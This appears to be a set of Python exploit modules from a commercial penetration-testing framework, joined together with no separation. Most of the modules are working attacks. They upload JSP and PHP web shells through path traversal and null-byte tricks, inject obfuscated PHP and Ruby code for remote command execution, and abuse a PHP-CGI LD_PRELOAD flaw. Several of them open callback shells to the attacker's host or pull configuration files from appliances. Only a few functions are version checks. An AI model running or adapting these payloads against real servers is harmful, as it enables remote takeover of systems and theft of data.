def upload_file(self): # Open JSP file f = open(self.filename, "r") fdata = f.read() f.close() fdata = fdata.replace("CALLBACK_IP", self.callback.ip) fdata = fdata.replace("CALLBACK_PORT", str(self.callback.port)) # Upload JSP file data = "-----------------------------7db38e3880734\r\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"../../../../ROOT/d2.jsp\x00.txt\"\r\nContent-Type: Content-Type: text/plain\r\n\r\n" data = data + fdata + "\r\n-----------------------------7db38e3880734\r\n" url = "/rtrlet/catch" if self.https == 0: self.protocol = "http" else: self.protocol = "https" self.port = self.sslport mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, data=data, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"), ("Content-Type", "multipart/form-data; boundary=---------------------------7db38e3880734")], verb="POST") data = handle.read() # Execute uploaded JSP file url = "/d2.jsp" mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")]) data = handle.read() return 1
def upload_file(self): # Open JSP file f = open(self.filename, "r") fdata = f.read() f.close() fdata = fdata.replace("CALLBACK_IP", self.callback.ip) fdata = fdata.replace("CALLBACK_PORT", str(self.callback.port)) # Upload JSP file data = """--D2D2D2 Content-Disposition: form-data; name="MODULE_FILE"; filename="../../../../../../../Progra~1/Novell/Tomcat/webapps/ROOT/d2.jsp" Content-Type: application/octet-stream """ data = data + fdata url = "/nps/servlet/modulemanager" if self.https == 0: self.protocol = "http" else: self.protocol = "https" self.port = self.sslport mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, data=data, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"), ("Content-Type", "multipart/form-data; boundary=D2D2D2")]) data = handle.read() # Execute uploaded JSP file url = "/d2.jsp" mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")]) data = handle.read() return 1
def upload_file(self): # Open JSP file f = open(self.filename, "r") fdata = f.read() f.close() fdata = fdata.replace("CALLBACK_IP", self.callback.ip) fdata = fdata.replace("CALLBACK_PORT", str(self.callback.port)) # Upload JSP file url = "/statusUpdate?actionToCall=LFU&customerId=2&configDataID=1&fileName=../../../../../../d2.jsp" if self.https == 0: self.protocol = "http" else: self.protocol = "https" self.port = self.sslport mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, data=fdata, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"), ("Content-Type", "text/html")], verb="POST") data = handle.read() # Execute uploaded JSP file url = "/d2.jsp" mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")]) data = handle.read() return 1
def run(self): # Check arguments self.getargs() # Start HTTP server thread.start_new_thread(self.startHTTPServer,()) # Open WAR file f = open(self.filename, "rb") fdata = f.read() f.close() # Upload WAR file url = "/servlet/MigrateLEEData?fileName=../tomcat/webapps/d2.war%00" if self.https == 0: self.protocol = "http" else: self.protocol = "https" self.port = self.sslport mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, data=fdata, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"), ("Content-Type", "application/octet-stream")], verb="POST") data = handle.read() time.sleep(5) # Execute uploaded WAR file url = "/d2/d2?url=http://%s:80"%(self.callback.ip) mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen(mainurl, exploit=self, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")]) data = handle.read() return 1
def request1(self): """ Goes through a loop of log file paths in the phpexploit class and trys to inject/include PHPcode in these log files to get execution. """ if self.command: self.log("Command: %s"%self.command) tag1 = "".join( [random.choice(string.digits) for i in xrange(8)] ) tag2 = "".join( [random.choice(string.digits) for i in xrange(8)] ) command=self.command command="print("+tag1+");passthru('"+command+"');print("+tag2+");" command="@eval(base64_decode(%s))"%b64encode(command).strip().strip("=") url = "%stiki-calendar.php?viewmode=';%s;$a='"%(self.basepath, command) mainurl = "http://%s:%d%s" % (self.target.interface, self.port, url) handle = spkproxy.urlopen(mainurl, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")]) data = handle.read() if tag1 in data: result=data.split(tag1)[1].split(tag2)[0] self.log("Command response: %s"%prettyprint(result)) return 1 else: command=self.get_php_to_mosdef() command="@eval(base64_decode(%s))"%b64encode(command).strip().strip("=") url = "%stiki-calendar.php?viewmode=';%s;$a='"%(self.basepath, command) mainurl = "http://%s:%d%s" % (self.target.interface, self.port, url) handle = spkproxy.urlopen(mainurl, extraheaders=[("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")]) self.log("[+] Looking for PHP connectback")
def upload_file(self): # Open JSP file f = open(self.filename, "r") fdata = f.read() f.close() fdata = fdata.replace("CALLBACK_IP", self.callback.ip) fdata = fdata.replace("CALLBACK_PORT", str(self.callback.port)) # Upload JSP file url = "/agentUpload" if self.https == 0: self.protocol = "http" else: self.protocol = "https" self.port = self.sslport files = {'../../webapps/event/d2.jsp': fdata} zdata = io.BytesIO() with zipfile.ZipFile(zdata, 'w') as zip: for path in files: zip.writestr(path, files[path]) zdata.seek(0) zbuff = zdata.read() data = "------z5Ns7xWtW13bOyd\r\nContent-Disposition: form-data; name=\"file\"; filename=\"d2.zip\"\r\nContent-Type: application/x-zip-compressed\r\nContent-Length:%d\r\n\r\n" % len( zbuff) data = data + zbuff + "\r\n------z5Ns7xWtW13bOyd--\r\n" mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen( mainurl, exploit=self, data=data, extraheaders= [("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" ), ("Content-Type", "multipart/form-data; boundary=----z5Ns7xWtW13bOyd")], verb="POST") # Execute uploaded JSP file url = "/d2.jsp" mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen( mainurl, exploit=self, extraheaders= [("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" )]) data = handle.read() return 1
def login(self, cookie): self.log("[+] Logging in") # We have to obtain a token in order to log in, so i have to parse the response with the form-login-submit exheaders = [("Cookie", cookie), ("Keep-Alive", "115")] request = "index.php" u = self.protocol + "://" + self.host + ":" + str( self.port) + self.basepath + request try: (res, responsecode) = spkproxy.urlopen(u, extraheaders=exheaders, exploit=self, entireresponse=True, return_response_code=True, verb="GET") response = res.read() if responsecode == 200: start = response.find("id=\"form-login-submit\"") return_value_start = response.find("name=\"return\" value=\"", start) end = response.find( "\"", return_value_start + len("name=\"return\" value=\"")) return_value = response[return_value_start + len("name=\"return\" value=\""):end] token_start = response.find("type=\"hidden\" name=\"", end) token_end = response.find("\" value=", token_start) token = response[token_start + len("type=\"hidden\" name=\""):token_end] except Exception: return 1 exheaders = [("Content-Type", "application/x-www-form-urlencoded"), ("Cookie", cookie), ("Keep-Alive", "115")] request = "/index.php/component/users/?task=user.login" u = self.protocol + "://" + self.host + ":" + str( self.port) + self.basepath + request POSTDATA = "username=%s&password=%s&%s=1" % (self.username, self.password, token) try: (res, responsecode) = spkproxy.urlopen(u, extraheaders=exheaders, data=POSTDATA, exploit=self, entireresponse=True, return_response_code=True, verb="POST") response = res.read() return 0 except Exception: return 1 self.log("[EE] Invalid credentials") return 1
def request1(self): """ Goes through a loop of log file paths in the phpexploit class and trys to inject/include PHPcode in these log files to get execution. """ if self.command: self.log("Command: %s" % self.command) tag1 = "".join([random.choice(string.digits) for i in xrange(8)]) tag2 = "".join([random.choice(string.digits) for i in xrange(8)]) command = self.command command = "print(" + tag1 + ");passthru('" + command + "');print(" + tag2 + ");" command = "$d2=\"\\142\\x61\\163\\x65\\66\\x34\\x5f\\x64\\145\\x63\\x6f\\x64\\x65\";@eval($d2(%s));die;/*" % b64encode( command).strip().strip("=") url = "%sindex.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}%s" % ( self.basepath, command) mainurl = "http://%s:%d%s" % (self.target.interface, self.port, url) handle = spkproxy.urlopen( mainurl, extraheaders= [("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" )]) data = handle.read() if tag1 in data: result = data.split(tag1)[1].split(tag2)[0] self.log("Command response: %s" % prettyprint(result)) return 1 else: command = self.get_php_to_mosdef() command = "$d2=\"\\142\\x61\\163\\x65\\66\\x34\\x5f\\x64\\145\\x63\\x6f\\x64\\x65\";@eval($d2(%s));die;/*" % b64encode( command).strip().strip("=") url = "%sindex.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}%s" % ( self.basepath, command) mainurl = "http://%s:%d%s" % (self.target.interface, self.port, url) handle = spkproxy.urlopen( mainurl, extraheaders= [("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" )]) data = handle.read() self.log("[+] Looking for PHP connectback")
def run_blind_command(self, command): cmd = "system('%s')" % command #inline ruby code rubycode = """'%s'.unpack("m0").first""" % b64encode(cmd).rstrip() payload = "<% eval("+str(rubycode)+")%>" param_name = self.param + "[inline]" params = { param_name : payload } if self.moreparams: params = self.add_params(params, self.moreparams) urlencoded_params = urllib.urlencode(params) request = self.basepath + "?" + urlencoded_params url = self.protocol + '://' + self.vulnerable_target + ":%s" % self.port + request spkproxy.urlopen(url, extraheaders=self.extraheaders, data="", exploit=self, noresponse=True, auth=self.auth, verb="GET") return True
def upload_file(self): # Open JSP file f = open(self.filename, "r") fdata = f.read() f.close() fdata = fdata.replace("CALLBACK_IP", self.callback.ip) fdata = fdata.replace("CALLBACK_PORT", str(self.callback.port)) # Upload JSP file data = "-----------------------------7db38e3880734\r\nContent-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"../webapps/ROOT/d2.jsp\"\r\nContent-Type: Content-Type: application/octet-stream\r\n\r\n" data = data + fdata + "\r\n-----------------------------7db38e3880734--\r\n" url = "/zenworks/jsp/index.jsp?pageid=newDocumentWizard" if self.https == 0: self.protocol = "http" else: self.protocol = "https" self.port = self.sslport mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen( mainurl, exploit=self, data=data, extraheaders= [("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" ), ("Content-Type", "multipart/form-data; boundary=---------------------------7db38e3880734" )], verb="POST") data = handle.read() # Execute uploaded JSP file url = "/d2.jsp" mainurl = "%s://%s:%d%s" % (self.protocol, self.host, self.port, url) handle = spkproxy.urlopen( mainurl, exploit=self, extraheaders= [("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" )]) data = handle.read() return 1
def trigger_callback(self): """ This module uploads an ASP & ASPX callbacks This trigger tries using ASPX first and ASP in case of failure """ for url in self.trigger_urls: self.log("Triggering with URL: " + url) res = False for i in xrange(0, 5): try: self.log("Triggering callback (attempt %d)" % i) response = spkproxy.urlopen(url) content = response.read() # can response be None? if response and "MOSDEF Callback successfully triggered" in content: res = True # little delay waiting for our node so ISuccess returns the right value time.sleep(3) self.working_trigger_url = url return True else: self.log( "MOSDEF Callback execution attempt %d failed. Waiting 5 secs." % i) time.sleep(5) except Exception: self.log( "An error ocurred while trying to trigger MOSDEF Callback. (attempt %d)" % i) time.sleep(5) return False
def grabNonce(self, exheaders): """ Visiting the wp-admin page gets us the required nonce, this is vulnerability #1 """ self.log("[+] Finding nonce") (res, code) = spkproxy.urlopen(self.url + "wp-admin/index.php", extraheaders=exheaders, verb="GET", hostname=self.hostname, exploit=self, entireresponse=True, return_response_code=True) data = res.read().splitlines() for line in data: ret = re.search("\"admin_nonce\":\"(.+?)\"", line, re.IGNORECASE) if ret: self.nonce = ret.groups()[0] self.log("[+] Setting nonce to %s" % self.nonce) return True if not self.nonce: self.log("[EE] Unable to find the admin nonce") return False
def test(self): self.getargs() url = (self.protocol + "://" + self.target.interface + ":%s" % self.port) + self.basepath try: (response_io, code) = spkproxy.urlopen(url, exploit=None, hostname=self.hostname, return_response_code=True, auth=None, verb="GET") except Exception as e: logging.error('Error during version check: %s' % str(e)) return None response = response_io.read() logging.error("Version response: %s" % response) metadata = None try: metadata = json.loads(response) except Exception as e: logging.info( "Failed to parse response, unlikely to be CouchDB install") return False else: if (metadata["version"][0] == "1"): return metadata["version"] < "1.7.0" elif (metadata["version"] == "2"): return metadata["version"] < "2.1.1"
def run(self): self.get_args() self.setProgress(0) if not self.prepare_payload(): logging.error("Error while preparing our payload") return False self.setProgress(50) url = (self.protocol + "://" + self.target.interface + ":%s" % self.port) + self.cgipath + "?LD_PRELOAD=/proc/self/fd/0" (res, response_code) = spkproxy.urlopen(url, data=self.payload, exploit=self, entireresponse=True, return_response_code=True, verb="POST") self.setProgress(80) # XXX: timeout on INTEL 64 response = res.read() # if response_code == 200: ret = self.ISucceeded() if ret: logging.warning("Exploit succeeded") self.setInfo("%s attacking %s:%d - done (SUCCESS)" % (NAME, self.host, self.port)) self.setProgress(100) return True else: logging.error("Exploit failed") self.setInfo("%s attacking %s:%d - done (FAILED)" % (NAME, self.host, self.port)) self.setProgress(-1) return False
def test_vuln(self, vhosts): if self.ssl: protocol = "https" else: protocol = "http" if self.basicauth_user: auth = spkproxy.BasicAuth(self.basicauth_user, self.basicauth_password) else: auth = None request = self.basepath + '?-s' ret = [] for host in vhosts: try: data = spkproxy.urlopen(protocol + '://' + self.host + ":%s" % self.port + request, hostname=host, exploit=self, auth=auth).read() if data.lower().startswith("<code>"): ret.append(host) except Exception: import traceback self.log(traceback.format_exc(5)) return ret
def test(self): """ We have to pull in the whole homepage and look for the Domino Notes 8 string. No specific version or sub-version can be detected on a remote Domino Notes machine, but this will get us close. """ self.getargs() import libs.spkproxy as spkproxy fd = spkproxy.urlopen("http://"+self.target.interface+':%s'%self.port+"/", hostname=self.target.interface, entireresponse=True) data = fd.read() # Present in the Server: header if data.count( "Lotus-Domino" ): if "Domino 8" in data: self.log("Detected Lotus Domino 8.x running on remote host.") return 1 else: self.log("Couldn't determine Lotus Domino server version.") return 0 else: self.log("Remote host not running Lotus Domino.") return 0 return 0
def trigger_callback(self): self.log("Triggering with URL: " + self.trigger_url) res = False # we try a couple of times because sometimes the first trigger could # fail due to permissions in linux for i in xrange(0, 5): try: self.log("Triggering callback (attempt %d)" % i) response = spkproxy.urlopen(self.trigger_url) content = response.read() # can response be None? if response and "MOSDEF Callback successfully triggered" in content: self.log(content) res = True # little delay waiting for our node so ISuccess returns the right value time.sleep(3) break else: self.log( "MOSDEF Callback execution attempt %d failed. Waiting 5 secs." % i) time.sleep(5) except Exception: self.log( "An error ocurred while trying to trigger MOSDEF Callback. (attempt %d)" % i) time.sleep(5) if not res: self.log("All trigger attempts using URL '%s' failed. " % self.trigger_url) self.log( "Please make sure the port used in the url is the correct JBoss port and not the console port (9990 by default)." ) return res
def makesploit(self): from libs import spkproxy import urllib url = "http://%s:%d%s/shoutbox.php?action=post" % ( self.host, self.port, self.basepath) data = { 'name': 'bob', 'shout': '<? eval(stripslashes($_GET[cmd])); ?>', } urldata = urllib.urlencode(data) result = spkproxy.urlopen(url, data=urldata, exploit=self) sploitstring = "" #escapestring=urllib.quote_plus("\";passthru(\'") if self.command: self.log("Command: %s" % self.command) command = self.command command = "passthru(\'" + command + "');" else: #add quote and semicolon to front of it #command="\";"+self.get_php_to_mosdef() command = self.get_php_to_mosdef() #/ is not allowed, so we replace it with this little trick command = command.replace("/", "`pwd|cut -b1`") self.log("Command: %s" % command) command = urllib.quote_plus(command) if self.basepath[-1] == "/": self.basepath = self.basepath[:-1] #strip final / if there sploitstring = "GET %s/shouts.php?cmd=%s HTTP/1.0\r\nHost: localhost\r\nUser-Agent: bob\r\n\r\n" % ( self.basepath, command) self.log("Sending: %s" % sploitstring) return sploitstring
def getEncryptedBlock(self): """ Automatically extract the smallest encrypted block from the Web Application. """ h = { 'User-Agent': "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401" } blocks = [] try: response = spkproxy.urlopen(self.base_url + self.web_page, extraheaders=h.items()) buffer = response.read() for line in buffer.split("\n"): index = line.find("WebResource.axd") if index == -1: continue blocks.append(line[index:].split("d=")[1].split("&")[0]) blocks.sort() except: return None if len(blocks) == 0: return None self.log("Block to decrypt: " + blocks[0]) return blocks[0]
def trigger_callback(self): self.log("Triggering with URL: " + self.trigger_url) res = False # we try a couple of times because sometimes the first trigger could # fail due to permissions in linux for i in xrange(0, 5): try: self.log("Triggering callback (attempt %d)" % i) response = spkproxy.urlopen(self.trigger_url) content = response.read() # can response be None? if response and "MOSDEF Callback successfully triggered" in content: self.debuglog(content) self.log("MOSDEF Callback successfully triggered") res = True # little delay waiting for our node so ISuccess returns the right value time.sleep(3) break else: self.log( "MOSDEF Callback execution attempt %d failed. Waiting 5 secs." % i) self.debuglog( "MOSDEF Callback execution attempt %d failed.\nContent received:\n%s" % (i, content)) time.sleep(5) except Exception: self.log( "An error ocurred while trying to trigger MOSDEF Callback. (attempt %d)" % i) self.debuglog( "An error ocurred while trying to trigger MOSDEF Callback. (attempt %d)\n%s" % (i, traceback.format_exc())) time.sleep(5) return res
def uploadShell(self, exheaders): """ Upload a shell through our authenticated session The plugin doesn't restrict file upload types, vulnerability #2 """ # Generate the PHP callback host = self.callback.ip port = self.callback.port badChars = "" # This is the code that'll be inserted on the remote machine # if you want a custom shell do it here ret = "<?php " + get_php_stage1(badChars, host, port) + " ?>" # Create our payload to POST payload = "" payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"action\"\r\n" payload += "\r\nupload_file\r\n" payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"file_type\"\r\n" payload += "\r\nhomescreen_image\r\n" payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"setting_name\"\r\n" payload += "\r\nwptouch__foundation__android_others_icon\r\n" payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"wp_nonce\"\r\n" payload += "\r\n%s\r\n" % self.nonce payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"myfile\"; filename=\"%s.php\"\r\n" % self.shellFile payload += "Content-Type: application/octet-stream\r\n\r\n" payload += "%s\r\n" % ret payload += "--576a5sdf6--\r\n" # Update connection parameters url = self.url + "wp-admin/admin-ajax.php" exheaders.remove(("Content-Type", "application/x-www-form-urlencoded")) exheaders.append( ("Content-Type", "multipart/form-data; boundary=576a5sdf6")) # Make the POST (res, code) = spkproxy.urlopen(url, extraheaders=exheaders, data=payload, verb="POST", hostname=self.hostname, exploit=self, entireresponse=False, return_response_code=True) # Check for failure text = res.read() if re.search("sufficient permissions", text): self.log( "[EE] The account provided did not have the required permissions to exploit this vulnerability" ) return False else: self.log("[ii] Shell upload seems to have been successful") return True
def start(self, widget): self.treestore_3.clear() self.ScanList = {} hostentry = self.wTree2.get_widget("selectedhost") self.qhost = hostentry.get_text() if self.qhost == "": self.log("[D2 LOG] ERROR: Qualys host is empty") return loginentry = self.wTree2.get_widget("login") self.login = loginentry.get_text() if self.login == "": self.log("[D2 LOG] ERROR: Qualys login is empty") return pwdentry = self.wTree2.get_widget("password") self.password = pwdentry.get_text() if self.password == "": self.log("[D2 LOG] ERROR: Qualys password is empty") return self.auth = base64.b64encode(self.login + ":" + self.password) mainurl = "https://" + self.qhost + self.scanurl handle = spkproxy.urlopen( mainurl, exploit=self, extraheaders= [("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" ), ("Authorization", "Basic " + self.auth)]) data = handle.read() if "ACCESS DENIED" in data.upper(): self.log("[D2 LOG] Qualys ACCESS DENIED") return # Download scan list and update treeview handler = QualysScanListHandler() src = xml.sax.xmlreader.InputSource() from cStringIO import StringIO src.setByteStream(StringIO(data)) parser = xml.sax.make_parser() handler = QualysScanListHandler() parser.setContentHandler(handler) parser.setFeature(xml.sax.handler.feature_external_ges, 0) parser.parse(src) for k, v in handler.mapping.iteritems(): self.treestore_3.append(None, [k, v["TARGET"], v["DATE"]]) self.ScanList[k] = v
def query(self, data): data = UrlTokenEncode(data) response = spkproxy.urlopen(self.url + data) if self.detect(response) == 1: return 1 return 0
def check(self): """ Quicky banner check - looks for RomPager version. """ self.getargs() self.log("Using basepath=%s" % self.basepath) self.log("Using vhost=%s" % self.hostname) if self.ssl: protocol = "https" else: protocol = "http" for hostname in self.allhosts: self.log("Testing hostname: %s" % hostname) self.log("Testing for RomPager version") #If we have to do basic-auth, let's get an object from spkproxy here if self.basicauth_user: auth = spkproxy.BasicAuth(self.basicauth_user, self.basicauth_password) else: auth = None #setting up spkproxy fd = spkproxy.urlopen(protocol + "://" + self.host + ":%s" % self.port + "/Allegro", hostname=hostname, exploit=self, auth=auth) data = fd.read() #now that we have the web page - we parse it and look for vulnerable versions #versions below 4.34 are assumed vulnerable. for s in ["RomPager Advanced Version 4.07"]: if s in data: self.log_info( "Detected vulnerable and supported RomPager version on %s " % (hostname)) #self.argsDict["basepath"]=basepath #self.basepath=basepath self.hostname = hostname self.version = 1 #self.log_debug("Response:%s"%data) return 1 else: for s in ["RomPager"]: if s in data: self.log_info( "Unsupported version of RomPager was detected." ) self.log_debug("Response: %s" % data) return 0 else: self.log_info("Target is not running RomPager.") #self.log_debug("Response: %s"%data) return 0 return 0
def run(self): """ runs the attempt to grab information """ self.getArgs() self.host = self.target.interface self.setInfo("Running %s against %s" % (NAME, self.host)) #check message if self.verify: logging.info("Verification enabled") ret = set([]) import libs.spkproxy as spkproxy shost = self.host.replace(".", "/") url = "https://www.robtex.com/en/advisory/ip/%s/" % shost (res, responsecode) = spkproxy.urlopen(url, exploit=self, entireresponse=True, return_response_code=True, auth=None, verb="GET") if responsecode == 200: response = res.read() if response: results = re.search(self.pattern0, response) if results: pre_res = results.group(2) hostnames = re.findall(self.pattern1, pre_res) if hostnames: for h in hostnames: if h not in ret and h != self.host: if self.verify: try: if self.host == socket.gethostbyname( h): ret.add(h) except Exception: pass else: ret.add(h) else: logging.error( "Something went wrong while querying public database") if ret: logging.warning("Found %d total hostnames for %s: %s" % (len(ret), self.host, list(ret))) self.target.add_knowledge("vhosts", list(ret), 100) self.setInfo("%s for %s - done (success)" % (NAME, self.host)) return 1 logging.error("%s - found no hostnames!" % self.name) self.setInfo("%s - found no hostnames!" % self.name) return 0
def exploit_1(self): self.log('[D2] Downloading config.xml in %s' % self.path) try: handle = spkproxy.urlopen('https://%s/admin/config.xml' % self.host, extraheaders=self.extraheaders) open('%s/config.xml' % self.path, 'w').write(handle.read()) except Exception, e: self.log('[D2] %s' % e) return 0
def uploadShell(self, exheaders): """ Simplest shell upload ever, just POST to the page :) """ # Generate the PHP callback host = self.callback.ip port = self.callback.port badChars = "" # This is the code that'll be inserted on the remote machine # if you want a custom shell do it here ret = "<?php " + get_php_stage1(badChars, host, port) + " ?>" # Create our payload to POST payload = "" payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"uploader_uid\"\r\n" payload += "\r\n1\r\n" payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"uploader_dir\"\r\n" payload += "\r\n\r\n" # Giving this a directory like (./) will wipe that directory :( payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"uploader_url\"\r\n" payload += "\r\n" + self.url + "wp-content/plugins/wp-symposium/server/php\r\n" payload += "--576a5sdf6\r\n" payload += "Content-Disposition: form-data; name=\"files[]\"; filename=\"%s.php\"\r\n" % self.shellFile payload += "Content-Type: application/octet-stream\r\n\r\n" payload += "%s\r\n" % ret payload += "--576a5sdf6--\r\n" # Update connection parameters exheaders.remove(("Content-Type", "application/x-www-form-urlencoded")) exheaders.append( ("Content-Type", "multipart/form-data; boundary=576a5sdf6")) # Make the POST (res, code) = spkproxy.urlopen( self.url + "wp-content/plugins/wp-symposium/server/php/", extraheaders=exheaders, data=payload, verb="POST", hostname=self.hostname, exploit=self, entireresponse=False, return_response_code=True) # Check for failure text = res.read() if re.search("error", text): self.log( "[EE] The wp-content/plugins/wp-symposium/server/php/ directory may not be writable, see exploit notes for more information" ) return False else: self.log("[ii] Shell upload seems to have been successful") return True
def exploit_2(self): self.log('[D2] Downloading config.xtx in %s' % self.path) from libs.canvasos import canvasos try: handle = spkproxy.urlopen( 'https://%s/admin/system_download_config.php' % self.host, extraheaders=self.extraheaders) open('%s/config.xtx' % self.path, 'w').write(handle.read()) except Exception, e: self.log('[D2] %s' % e) return 0
def query(self, data): try: data = UrlTokenEncode(data) response = spkproxy.urlopen(self.url + data) if self.detect(response) == 1: devlog('oracle', self.url + data) return 1 return 0 except Exception: return 0
def run_httpdetect(self): self.log("HTTP DETECT: Looking at webserver header") result = None try: for hostname in [ self.target.resolved_from, "localhost", self.host, "www" ]: # XXX: check both protocols httpOpen = True sslOpen = True for protocol in ["http", "https"]: # skip further checks on the same ip when the http/ssl is down if httpOpen == False and sslOpen == False: break self.log("HTTP DETECT: Using Hostname: %s" % hostname) # this returns a filetype_str object that pretends to be an fd header_fd = spkproxy.urlopen(protocol + "://" + self.host + "/", exploit=self, hostname=hostname, entireresponse=True) header = header_fd.read( ) # kludge .. is read() in filetype_str being overloaded? and ending up in the while 1 ? if header.upper().count("501 NO SERVER THERE"): if protocol == "http": httpOpen = False continue else: sslOpen = False continue # handle real header header = header[: 1000] #also includes body, so we'll do some truncation self.log("HTTP DETECT: Web header = %s" % header) result = self.guessFromWWWHeader(header) # break out of the main loop to prevent unneeded reps if httpOpen == False and sslOpen == False: break except: self.log("HTTP DETECT: Exception in HTTP header check ...") import traceback traceback.print_exc(file=sys.stderr) return result